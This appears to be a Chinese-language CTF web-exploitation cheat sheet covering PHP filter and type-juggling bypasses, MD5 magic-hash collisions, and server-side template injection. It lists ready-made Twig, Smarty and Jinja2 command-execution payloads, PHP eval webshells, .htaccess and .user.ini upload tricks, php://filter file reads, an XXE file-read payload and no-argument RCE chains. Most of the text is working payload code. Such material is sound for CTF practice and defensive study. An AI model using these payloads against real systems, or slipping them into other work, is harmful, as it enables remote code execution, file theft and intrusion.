PHP var_dump( ) 以列的形式展开数据,方便查看
scandir( ) 扫描某一文件夹目录
file_get_contents( ) 读取文件,拼接用’.’ 如num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
base_convert() 函数 在任意进制之间转换数字,返回一个字符串
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数读取文件
localeconv()函数返回一包含本地数字及货币格式信息的数组 配套使用 利用**scandir()**,传入’.’显示当前所有目录,即scandir(‘.’)
但 ‘.’被不符合正则匹配的规则
然后利用**localeconv()**函数返回一包含本地数字及货币格式信息的数组(其数组的第一个值就是.)
利用指针指向数组的第一个值
current()
函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
pos()
函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
scandir(localeconv(current())); next()
函数将内部指针指向数组中的下一个元素,并输出。返回的是数组具体的值,不能嵌套。array_reverse()
函数返回翻转顺序的数组。
preg_match绕过 1、数组绕过 preg_match只能处理字符串,当传入的subject是数组时会返回false
2、PCRE回溯次数限制 pcre.backtrack_limit
给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false
3、换行符 .
不会匹配换行符,如
1 2 3 if (preg_match('/^.*(flag).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; }
只需要
而在非多行模式下,$
似乎会忽略在句尾的%0a
1 2 3 if (preg_match('/^flag$/' , $_GET ['a' ]) && $_GET ['a' ] !== 'flag' ) { echo $flag ; }
只需要传入
intval()函数绕过 1 int intval ( mixed $var [, int $base = 10 ] )
函数作用:获取变量的整数值
0x:16 0:8 0b:2 默认10
科学计数法绕过 当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
echo intval(1e10); // 1410065408 echo intval(‘1e10’); // 1 echo intval(‘1e10’+1); // 1410065409 应用场景:
1 if (intval ($_GET['lover']) < 2023 && intval($_GET['lover'] + 1 ) > 2024 )
进制绕过 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。
当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。
如果 $var 以 0 开头,就使用 8进制
如果 $var 以0x开头,就使用 16进制
否则,就使用 10进制
转换字符串特性绕过 如果以数字开头,就返回1个或多个连续的数字
如果以字母开头,就返回0
if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die(“id error”); }else{ # id 小于 999 拼接sql语句 $sql = “select * from article where id = $id order by id limit 1 “; payload:?id=2 or id=1000
数组绕过 intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素,有为1无为0
三种数组写法:
$a[]=1;
$a=array(1,2);
$a=[1,2]; 但在传参时一般使用第一种形式,经过测试发现,传参默认都是字符串类型,根据intval的字符串转换规则,如果字符串第一个字符不是数字就会直接返回0,所以后面两种形式都是返回0,只有第一种可以正确返回数字1
取反~绕过 当某个数字被过滤时,可以两次取反来绕过
var_dump(intval(~10)); \ -11 var_dump(intval(~~10)); \ 10
算数运算符绕过 当某个数字被过滤时,可以使用算数运算符绕过
var_dump(intval(5*5)); var_dump(intval(5+5)); var_dump(intval(05+5)); 输出:
int(25) int(10) int(10)
SQL注入intval()函数绕过黑名单方法 #flag in id=1000 if(preg_match(“/or|-|\|*|<|>|!|x|hex|+/i”,$id)){ die(“id error”); } if(intval($id) > 999){ die(“id error”); } else{
# id 小于 999 拼接sql语句
$sql = “select * from article where id = $id order by id limit 1 “; } 根据黑名单的不同,访问?id=1000有以下几种方法: ?id=’1000’ //“1000”或(1000)皆可 ?id=125<<3 //左移 ?id=680|320 //按位或 ?id=992^8 //按位异或 ?id=~~1000 //两次取反 ?id=0x3e8 //十六进制 ?id=0b1111101000 //二进制
弱类型比较 1.数组绕过 由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组 数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了
常见过滤函数如下:
1 2 3 4 5 ctype_alnum ( string $text ) : bool is_numeric ( mixed $var ) : bool
2.科学计数法绕过 可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0;可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本
1 2 3 4 5 6 7 8 9 10 <?php for ($a =1 ;$a <=1000000000 ;$a ++){ $md5 = md5 ($a ); if (preg_match ('/^0e\d+$/' ,$md5 )){ echo $a ; echo "\n" ; echo $md5 ; echo "\n" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 byGcY0 e591948146966052067035298880982 QNKCDZO0 e830400451993494058024219903391 s878926199a0 e545993274517709034328855841020 s155964671a0 e342768416822451524974117254469 s214587387a0 e848240448830537924465865611904 s214587387a0 e848240448830537924465865611904 s878926199a0 e545993274517709034328855841020 s1091221200a0 e940624217856561557816327384675 s1885207154a0 e509367213418206700842008763514 240610708 0 e462097431906509019562988736854 314282422 0 e990995504821699494520356953734 571579406 0 e972379832854295224118025748221 903251147 0 e174510503823932942361353209384
双MD5判断 有些题目,可能会经过两次MD5值的判断
MD5和双MD5以后的值都是0e开头的
1 2 3 CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 脚本import multiprocessingimport hashlibimport randomimport stringimport sys CHARS = string.letters + string.digitsdef cmp_md5 (substr, stop_event, str_len,. start=0 , size=20 ): global CHARS while not stop_event.is_set(): rnds = '' .join(random.choice(CHARS) for _ in range (size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start+str_len] == substr: print rnds stop_event.set () ''' #碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start+str_len] == substr: print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n" stop_event.set() ''' if __name__ == '__main__' : substr = sys.argv[1 ].strip() start_pos = int (sys.argv[2 ]) if len (sys.argv) > 1 else 0 str_len = len (substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range (cpus)] for p in processes: p.start() for p in processes: p.join()
强类型比较 1.数组绕过 因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组 而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了
2.使用md5加密后两个完全相等的两个字符串绕过 1 a= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %00 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %55 %5 d%83 %60 %fb %5 f%07 %fe %a2 &b= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %02 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %d5 %5 d%83 %60 %fb %5 f%07 %fe %a2
模板注入 判断模板
绿色是执行成功,红色是执行失败
注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入如果还是没有回显49就代表这里没有模板注入;如果注入回显了49代表执行成功,继续往下走注入,如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。 注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${“z”.join(“ab”)},如果执行成功回显出zab就说明是Mako模板。
常用利用方式
Twig
1 {{_self.env.registerUndefinedFilterCallback ("exec" )}} {{_self.env.getFilter ("cat /flag" )}}
Smarty
1 2 3 4 5 {if phpinfo()}{/if} {if system('ls')}{/if} {if system('cat /flag')}{/if} // another {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME," <?php passthru ($_GET ['cmd' ]); ?> ",self::clearConfig())}
Jinja2https://www.cnblogs.com/hetianlab/p/17273687.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #读取文件类,<type ‘file ’> file位置一般为40,直接调用 {{[].__class__.__base__.__subclasses__ ()[40]('flag' ).read()}} {{[].__class__.__bases__ [0].__subclasses__()[40]('etc/passwd' ).read()}} {{[].__class__.__bases__ [0].__subclasses__()[40]('etc/passwd' ).readlines()}} {{[].__class__.__base__.__subclasses__ ()[257]('flag' ).read()}} (python3) #直接使用popen命令,python2是非法的,只限于python3 os._wrap_close 类里有popen {{"".__class__.__bases__ [0].__subclasses__()[128].__init__.__globals__['popen']('whoami' ).read()}} {{"".__class__.__bases__ [0].__subclasses__()[128].__init__.__globals__.popen('whoami' ).read()}} #调用os的popen执行命令 #python2、python3通用 {{[].__class__.__base__.__subclasses__ ()[71].__init__.__globals__['os'].popen('ls' ).read()}} {{[].__class__.__base__.__subclasses__ ()[71].__init__.__globals__['os'].popen('ls /flag' ).read()}} {{[].__class__.__base__.__subclasses__ ()[71].__init__.__globals__['os'].popen('cat /flag' ).read()}} {{''.__class__.__base__.__subclasses__ ()[185].__init__.__globals__['__builtins__']['__import__']('os' ).popen('cat /flag' ).read()}} {{"".__class__.__bases__ [0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os' ).popen('id' ).read()}} {{"".__class__.__bases__ [0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os' ).popen('id' ).read()}} {{"".__class__.__bases__ [0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami' ).read()}} #python3专属 {{"".__class__.__bases__ [0].__subclasses__()[75].__init__.__globals__.__import__('os' ).popen('whoami' ).read()}} {{''.__class__.__base__.__subclasses__ ()[128].__init__.__globals__['os'].popen('ls /' ).read()}} #调用eval函数读取 #python2 {{[].__class__.__base__.__subclasses__ ()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()" )}} {{"".__class__.__mro__ [-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")' )}} {{"".__class__.__mro__ [-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")' )}} {{"".__class__.__mro__ [-1].__subclasses__()[29].__call__(eval ,'os.system("ls")' )}} #python3 {{().__class__.__bases__ [0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()" )}} {{''.__class__.__mro__ [2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}} {{"".__class__.__mro__ [-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}} {{"".__class__.__bases__ [0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()" )}} {{"".__class__.__bases__ [0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()" )}} {{''.__class__.__base__.__subclasses__ ()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' )}} #调用 importlib类 {{''.__class__.__base__.__subclasses__ ()[128]["load_module"]("os" )["popen"]("ls /" ).read()}} #调用linecache函数 {{''.__class__.__base__.__subclasses__ ()[128].__init__.__globals__['linecache']['os'].popen('ls /' ).read()}} {{[].__class__.__base__.__subclasses__ ()[59].__init__.__globals__['linecache']['os'].popen('ls' ).read()}} {{[].__class__.__base__.__subclasses__ ()[168].__init__.__globals__.linecache.os.popen('ls /' ).read()}} #调用communicate()函数 {{''.__class__.__base__.__subclasses__ ()[128]('whoami' ,shell =True ,stdout =-1).communicate()[0].strip()}} #写文件 写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。 {{"".__class__.__bases__ [0].__bases__[0].__subclasses__()[40]('/tmp' ).write('test' )}} ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__ {{''.__class__.__mro__ [2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd' ).write('123456' )}} #通用 getshell 原理就是找到含有 __builtins__ 的类,然后利用。 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__ ['__builtins__'].eval("__import__('os').popen('whoami').read()" ) }} {% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__ ['__builtins__'].open('filename' , 'r' ).read() }} {% endif %}{% endfor %}
1 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].eval("__import__('os').popen('<command>').read()" ) }} {% endif %} {% endfor %}
Flask
1 2 3 4 5 6 7 app.config['FLAG'] = os.environ.pop('FLAG') 是可以读取配置的 {{config }} 应该是可以查看app.config的内容 /shrine/ {{url_for.__globals__ }} /shrine/ {{url_for.__globals__ ['current_app'].config}} /shrine/ {{get_flashed_messages.__globals__ ['current_app'.config]}} /shrine/ {{Z2V0X2ZsYXNoZWRfbWVzc2FnZXM =.X19nbG9iYWxzX18=[‘current_app’.config]}}
文件上传 常用后缀 .phtml
一句话木马 1 <?php @eval ($_POST ['SHELL' ]);?>
nmap执行 1 ?host=’ <?php @eval ($_POST (“shell”);?)> -oG shell.php ’
解析绕过 先利用报错来查看中间件为什么
nginx -> user.ini
apache -> .htaccess
user.ini
1 2 3 GIF89aauto_append_file =shell.jpg
.htaccess
1 2 3 <FilesMatch "shell.jpg" > Sethandler application/x-httpd-php</FilesMatch>
or
1 2 3 4 5 6 7 8 <FilesMatch "shell.jpg "> Sethandler application/x-httpd-php Addhandler php5-script .jpg</FilesMatch >
目录扫描 index.php.bat
user.php.bak
phpmyadmin
robots.txt
.git源码泄露,用GitHack下载源码
/www.tar.gz
www.zip
网页请求头 Referer Referer:https://www.baidu.com/?start=1当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。
User-Agent User-Agent:Mozilla/…,告诉HTTP服务器, 客户端使用的操作系统和浏览器的名称和版本。
Cookie Cookie是用来存储一些用户信息以便让服务器辨别用户身份的(大多数需要登录的网站上面会比较常见),比如cookie会存储一些用户的用户名和密码,当用户登录后就会在客户端产生一个cookie来存储相关信息,这样浏览器通过读取cookie的信息去服务器上验证并通过后会判定你是合法用户,从而允许查看相应网页。当然cookie里面的数据不仅仅是上述范围,还有很多信息可以存储是cookie里面,比如sessionid等。
X-Forwarded-For (Client-Ip,x-real-ip) X-Forwarded-For 请求头用于标识客户端的原始IP地址,特别是在通过代理服务器或负载均衡器等中间设备进行通信时。当请求从客户端传递到代理服务器时,代理服务器会将客户端的IP地址添加到X-Forwarded-For头中,以便目标服务器知道请求的来源。
伪协议 伪协议读取 secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
file=php://filter/read=convert.base64-encode/resource=useless.php
伪协议写入 text=data://text/plain;base64,xxx(为相对应的base64编码)
?text=data://text/plain,I have a dream
sql注入 https://www.cnblogs.com/xinxin999/p/12521014.html
xml注入 1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE feng [ <!ENTITY file SYSTEM "file:///flag" > ]> <xml > <name > &file; </name > </xml >
从XML相关一步一步到XXE漏洞
无参数RCE 无参数RCE,其实就是通过没有参数的函数 达到命令执行的目的。
1 2 3 4 5 <?php if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ]){ eval ($_GET ['exp' ]); }?>
如果’;’===preg_replace(…),那么就执行exp传递的命令 \ : 转义字符 [a-z,]+ : [a-z, ]匹配小写字母和下划线 +表示1到多个 (?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))) 简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();
常见绕过姿势 getallheaders()
返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()
这个函数就能胜任。
implode()
能够直接将getallheaders()
返回的数组转化为字符串。
1 2 3 <?php echo implode (getallheaders ()); ?>
可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。
payload:?exp=eval(implode(getallheaders()));
2、get_defined_vars() 查看当前目录文件名 1 print_r (scandir (current (localeconv ())));
读取当前目录文件 1 2 3 4 5 6 7 8 9 10 11 当前目录倒数第一位文件:show_source (end (scandir (getcwd ())));show_source (current (array_reverse (scandir (getcwd ()))));当前目录倒数第二位文件: show_source (next (array_reverse (scandir (getcwd ()))));随机返回当前目录文件: highlight_file (array_rand (array_flip (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (current (localeconv ())))));
查看上一级目录文件名 1 2 3 print_r (scandir (dirname (getcwd ())));print_r (scandir (next (scandir (getcwd ()))));print_r (scandir (next (scandir (getcwd ()))));
读取上级目录文件 1 2 3 show_source (array_rand (array_flip (scandir (dirname (chdir (dirname (getcwd ())))))));show_source (array_rand (array_flip (scandir (chr (ord (hebrevc (crypt (chdir (next (scandir (getcwd ())))))))))));show_source (array_rand (array_flip (scandir (chr (ord (hebrevc (crypt (chdir (next (scandir (chr (ord (hebrevc (crypt (phpversion ())))))))))))))));
payload解释: ● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。 ● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。 ● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名 ● dirname(chdir(dirname()))配合切换文件路径
查看和读取根目录文件 所获得的字符串第一位有几率是/,需要多试几次
1 print_r (scandir (chr (ord (strrev (crypt (serialize (array ())))))));
2、session_start() 适用于:php7以下的版本 ● **session_start()**:启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id() ● **session_id()**:获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
文件读取 ● show_source(session_id(session_start())); ● var_dump(file_get_contents(session_id(session_start()))) ● highlight_file(session_id(session_start())); ● readfile(session_id(session_start())); 抓包传入Cookie: PHPSESSID=(想读的文件)即可
1 2 GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1 Cookie : PHPSESSID=/flag
https://xz.aliyun.com/t/9360?time__1311=n4%2BxuDgD9DyiGQYDQNDsR32xfrorQDB00DiqhD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F
常见文件头 JPEG (jpg),文件头:FFD8FFE1 PNG (png),文件头:89504E47 GIF (gif),文件头:47494638 TIFF (tif),文件头:49492A00 Windows Bitmap (bmp),文件头:424D CAD (dwg),文件头:41433130 Adobe Photoshop (psd),文件头:38425053 Rich Text Format (rtf),文件头:7B5C727466 XML (xml),文件头:3C3F786D6C HTML (html),文件头:68746D6C3E Email [thorough only] (eml),文件头:44656C69766572792D646174653A Outlook Express (dbx),文件头:CFAD12FEC5FD746F Outlook (pst),文件头:2142444E MS Word/Excel (xls.or.doc),文件头:D0CF11E0 MS Access (mdb),文件头:5374616E64617264204A WordPerfect (wpd),文件头:FF575043 Postscript (eps.or.ps),文件头:252150532D41646F6265 Adobe Acrobat (pdf),文件头:255044462D312E Quicken (qdf),文件头:AC9EBD8F Windows Password (pwl),文件头:E3828596 ZIP Archive (zip),文件头:504B0304 RAR Archive (rar),文件头:52617221 Wave (wav),文件头:57415645 AVI (avi),文件头:41564920 Real Audio (ram),文件头:2E7261FD Real Media (rm),文件头:2E524D46 MPEG (mpg),文件头:000001BA MPEG (mpg),文件头:000001B3 Quicktime (mov),文件头:6D6F6F76 Windows Media (asf),文件头:3026B2758E66CF11 MIDI (mid),文件头:4D546864
在线工具
Unicode,UTF-8,URL编码:站长工具
Base系列:千千秀字
摩尔斯编码:世纪算命网
条形码/二维码:online-barcode-reader
MD5,Escape/Unescape:站长工具
UUencode编码:在线工具
XXencode编码:在线工具
恺撒密码:千千秀字
栅栏密码:千千秀字(包含空格) ,Rail-fence Cipher(自动去空格)
Brainfuck/Ook!:Brainfuck/Ook! (这好像是外网,可能会慢些)
JSFuck:JSF*ck demo
ASCII转换:ASCII在线转换器-十六进制,十进制、 二进制
Base91:Base91 Cipher
cyberchef: cyberchef